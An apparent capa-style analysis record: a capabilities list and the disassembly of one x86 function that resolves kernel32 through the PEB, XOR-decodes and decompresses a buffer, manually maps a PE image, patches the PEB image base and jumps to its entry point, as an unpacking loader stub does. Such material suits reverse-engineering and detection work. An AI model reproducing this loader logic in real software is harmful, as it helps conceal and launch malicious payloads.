Function at 0x3514ac
Capabilities:
Access peb ldr_data
Compress data via winapi
Encode data using xor
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x1c], eax
pop eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x18]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0x350000
push ecx
mov ecx, 0x13c6
add ecx, 0x350000
mov dword [ebp - 8], ecx
pop ecx
push 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub dword [ebp - 8], eax
mov dword [ebp - 4], eax
push eax
push ebx
push 0
push 1
mov ebx, dword [ebp - 8]
add ebx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ebx
call dword [ebp - 0x14]
mov dword [ebp - 4], eax
cmp eax, 0x1c
je 0x351524
jne 0x351508
pop ebx
pop eax
mov edx, dword [ebp - 0x48]
mov esi, 0x351018
lea edi, [ebp - 0x6c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x6c]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00351266
mov esi, 0x351028
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
pop ecx
mov dword [ebp - 0x40], ebx
movsb byte es:[edi], byte [esi]
jmp 0x351629
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x48]
call ebx
push 0x351038
push dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
call ebx
push 0x351048
push dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
call ebx
push 0x35105c
push dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
call ebx
mov dword [ebp - 0x38], eax
push ebx
mov ebx, 0x3513c6
add ebx, 0x5f6
mov dword [ebp - 8], ebx
pop ebx
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x3524df
cmp dword [ebp - 0x34], eax
je 0x3524df
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
jmp 0x351777
mov edx, dword [ecx + 0xc]
add edx, dword [ebx + 0x3c]
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebx + 0x3c]
add edx, eax
mov esi, dword [edx]
add esi, eax
push 5
mov dword [ebp - 0x50], esi
lea esi, [ecx + eax + 8]
pop ecx
push 4
push 0x3000
mov dword [ebp - 0x4c], edx
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 4]
push 0x12
xor edx, edx
pop esi
mov eax, ecx
div esi
mov edx, ecx
shr edx, 4
imul edx, edx, 0x23
xor esi, esi
imul eax, eax, 0x1e
add eax, ecx
lea eax, [edx + eax + 0x1000]
push eax
push esi
call dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
cmp eax, esi
je 0x3524df
jmp 0x3518ab
mov edi, dword [ebp - 0x4c]
mov eax, dword [edi + 4]
push 9
shr eax, 1
xor edx, edx
pop ecx
div ecx
mov dword [ebp - 0x30], 0x1e
mov dword [ebp - 0x5c], eax
test eax, eax
je 0x351900
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x50]
push 9
add eax, esi
push eax
push dword [ebp - 0x18]
call fcn.0035109a
mov eax, dword [ebp - 0x30]
add esp, 0xc
dec dword [ebp - 0x30]
lea esi, [esi + eax + 9]
jne 0x3518f7
mov dword [ebp - 0x30], 0x1e
add dword [ebp - 0x18], 9
dec dword [ebp - 0x4c]
jne 0x3518d1
mov eax, dword [edi + 4]
push 9
shr eax, 1
xor edx, edx
pop ecx
div ecx
test edx, edx
je 0x351927
mov eax, dword [ebp - 0x5c]
add esi, dword [ebp - 0x50]
imul eax, eax, 9
add eax, dword [ebp - 0x3c]
push edx
push esi
push eax
call fcn.0035109a
add esp, 0xc
jmp 0x3519fe
mov eax, dword [ebp - 0x58]
mov eax, dword [eax + 0xc]
add eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 0x54]
lea eax, [eax + ecx + 0x1c]
mov dword [ebp - 0x50], eax
mov eax, dword [edi + 4]
mov esi, eax
shr esi, 1
and eax, 1
add esi, eax
push 0
shr esi, 3
inc esi
pop ebx
mov dword [ebp - 0x30], 0x23
mov dword [ebp - 0x18], ebx
je 0x351a6a
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x18]
add eax, ebx
push 8
push eax
mov eax, dword [edi + 4]
shr eax, 1
add eax, dword [ebp - 0x3c]
lea eax, [eax + ecx*8]
push eax
call fcn.0035109a
mov eax, dword [ebp - 0x30]
add esp, 0xc
dec dword [ebp - 0x30]
lea ebx, [ebx + eax + 8]
jne 0x351a62
mov dword [ebp - 0x30], 0x23
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jb 0x351a30
mov eax, dword [edi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
push 0
call dword [ebp - 0x1c]
mov ebx, eax
xor esi, esi
cmp ebx, esi
je 0x3524df
jmp 0x351b60
xor eax, eax
cmp dword [edi + 4], esi
jbe 0x351b7f
mov dl, byte [ebp + eax - 0x70]
mov ecx, dword [ebp - 0x3c]
xor byte [ecx + esi], dl
inc eax
cmp eax, 0x13
jbe 0x351b79
xor eax, eax
inc esi
cmp esi, dword [edi + 4]
jb 0x351b67
push eax
mov eax, dword [0x353000]
pop eax
push 0x35106c
call dword [ebp - 0x44]
push 0x351078
push eax
call dword [ebp - 0x40]
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x270]
push ecx
push 0
call eax
push 0x35108c
push dword [ebp - 0x48]
call dword [ebp - 0x40]
call eax
mov dword [ebp - 4], eax
jmp 0x351c8d
cmp dword [ebp - 4], 0x7a
je 0x351ca4
xor eax, eax
mov ecx, dword [ebp - 0x3c]
xor byte [ecx + eax], 0x67
inc eax
cmp eax, 0x3e8
jl 0x351c95
mov edi, dword [edi + 4]
lea eax, [ebp - 0x10]
push eax
push edi
imul edi, edi, 0xf
push dword [ebp - 0x3c]
push edi
push ebx
push 2
call dword [ebp - 0x34]
jmp 0x351d90
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x3524df
mov edi, dword [ebx + 0x3c]
add edi, ebx
xor eax, eax
cmp dword [edi], 0x4550
jne 0x3524e1
cmp dword [edi + 0xa0], eax
jne 0x351dbc
mov eax, dword [edi + 0x34]
jmp 0x351e93
mov esi, 0x400000
cmp eax, esi
jne 0x351eab
lea eax, [ebp - 0x58]
push eax
push 0x40
push dword [edi + 0x50]
push esi
call dword [ebp - 0x38]
jmp 0x351ec7
mov ecx, dword [edi + 0x50]
push 0x40
push 0x3000
add ecx, 0x10
push ecx
push eax
call dword [ebp - 0x1c]
mov esi, eax
test esi, esi
je 0x3524df
jmp 0x351ed3
jmp 0x351ee4
mov eax, dword [edi + 0x54]
add eax, dword [ebx + 0x3c]
push eax
push ebx
push esi
call fcn.0035109a
add esp, 0xc
jmp 0x351fcc
and dword [ebp - 0x18], 0
xor eax, eax
cmp ax, word [edi + 6]
jae 0x352011
and dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x3c]
add eax, ebx
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, ebx
push ecx
add eax, esi
push eax
call fcn.0035109a
movzx eax, word [edi + 6]
add dword [ebp - 0x1c], 0x28
add esp, 0xc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jb 0x351fdb
mov eax, esi
sub eax, dword [edi + 0x34]
mov dword [ebp - 0x38], eax
je 0x352096
mov eax, dword [edi + 0xa0]
test eax, eax
je 0x352096
add eax, esi
lea ecx, [eax + 8]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [edi + 0xa4]
add ecx, eax
mov dword [ebp - 0x54], ecx
jmp 0x352092
mov edx, dword [eax + 4]
and dword [ebp - 0x18], 0
sub edx, 8
test edx, 0xfffffffe
jbe 0x352089
mov ecx, dword [ebp - 0x1c]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov ebx, 0x3000
cmp dx, bx
jne 0x352072
mov edx, dword [ebp - 0x38]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0x18]
add dword [ebp - 0x1c], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0x18], ecx
jb 0x35204c
mov ecx, dword [ebp - 0x54]
add eax, dword [eax + 4]
lea edx, [eax + 8]
mov dword [ebp - 0x1c], edx
cmp eax, ecx
jb 0x35203a
jmp 0x35216d
jmp 0x352244
mov ebx, dword [edi + 0x80]
add ebx, esi
jmp 0x3523c7
mov eax, dword [ebx + 0xc]
add eax, esi
push eax
call dword [ebp - 0x44]
mov edx, eax
mov dword [ebp - 0x34], edx
test edx, edx
je 0x3524df
cmp dword [ebx + 4], 0xffffffff
mov ecx, dword [ebx + 0x10]
mov dword [ebp - 0x1c], ecx
jne 0x3522a7
mov eax, dword [ebx]
mov eax, dword [eax + esi]
add ecx, esi
mov dword [ebp - 0x38], ecx
test eax, 0xf0000000
je 0x35228b
and eax, 0xffff
jmp 0x352290
add eax, esi
add eax, 2
push eax
push edx
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0x38]
cmp dword [ecx], eax
je 0x3523c4
mov eax, dword [ebx]
mov dword [ebp - 0x1c], eax
mov ecx, eax
jmp 0x35237e
lea ebx, [ecx + esi]
jmp 0x3523bc
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x352393
and eax, 0xffff
jmp 0x352398
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x34]
call dword [ebp - 0x40]
mov dword [ebx], eax
test eax, eax
je 0x3524df
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebx]
mov ecx, dword [ecx + 0x10]
mov eax, ebx
sub eax, dword [ebp - 0x1c]
add ebx, 4
mov dword [eax + ecx], edx
cmp dword [ebx], 0
jne 0x352383
mov ebx, dword [ebp - 0x18]
add ebx, 0x14
cmp dword [ebx], 0
mov dword [ebp - 0x18], ebx
jne 0x352251
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x44], eax
pop eax
mov eax, dword [ebp - 0x44]
mov dword [eax + 8], esi
jmp 0x3524bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov ecx, dword [edi + 0x28]
add ecx, esi
mov dword [eax + 0x1c], ecx
mov eax, dword [edi + 0x28]
add eax, esi
mov dword [ebp - 0x38], eax
call dword [ebp - 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
ret 0x10